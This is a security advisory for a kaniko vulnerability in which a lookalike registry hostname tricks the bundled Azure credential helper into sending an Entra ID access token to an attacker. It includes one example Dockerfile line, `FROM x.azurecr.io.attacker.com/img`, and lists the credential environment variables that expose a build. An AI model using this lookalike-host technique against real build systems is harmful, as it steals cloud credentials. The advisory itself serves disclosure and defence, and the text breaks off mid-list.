- Severity: CRITICAL
- CVE: CVE-2026-105769
- Ecosystems: go
- Packages: github.com/chainguard-dev/kaniko
### Summary
kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as `FROM x.azurecr.io.attacker.com/img`, is enough. The build needs no `RUN` instruction and never has to push.
The flaw is in the Azure Container Registry (ACR) credential helper, `github.com/chrismellard/docker-credential-acr-env`. kaniko links it into the executor and warmer (the built-in helper) and also builds it as the standalone `docker-credential-acr-env` binary. The helper decides whether a host is an ACR registry with an unanchored regex, so any hostname that contains `.azurecr.io` (or `.azurecr.cn`, `.azurecr.de`, `.azurecr.us`) passes. The upstream module is unmaintained and has no fixed release. The Go vulnerability database tracks the upstream flaw as [GO-2026-6225](https://pkg.go.dev/vuln/GO-2026-6225).
### Who is affected
You are affected if you run kaniko before v1.25.20 on Dockerfiles, or build arguments, that you don’t fully control, in an environment where the helper can get an Azure identity:
– service principal credentials in the environment (`AZURE_CLIENT_ID`, `AZURE_CLIENT_SECRET`, `AZURE_TENANT_ID`)
– a federated workload identity token (`AZURE_FEDERATED_TOKEN` or `AZURE_FEDERATED_TOKEN_FILE`, with `AZURE_CLIENT_ID` and `AZURE_TENANT_ID`), as injected by AKS workload identity
– a managed identity, through the Azure Instance Metad…
Source: GitHub Security Advisories · 2026-11-05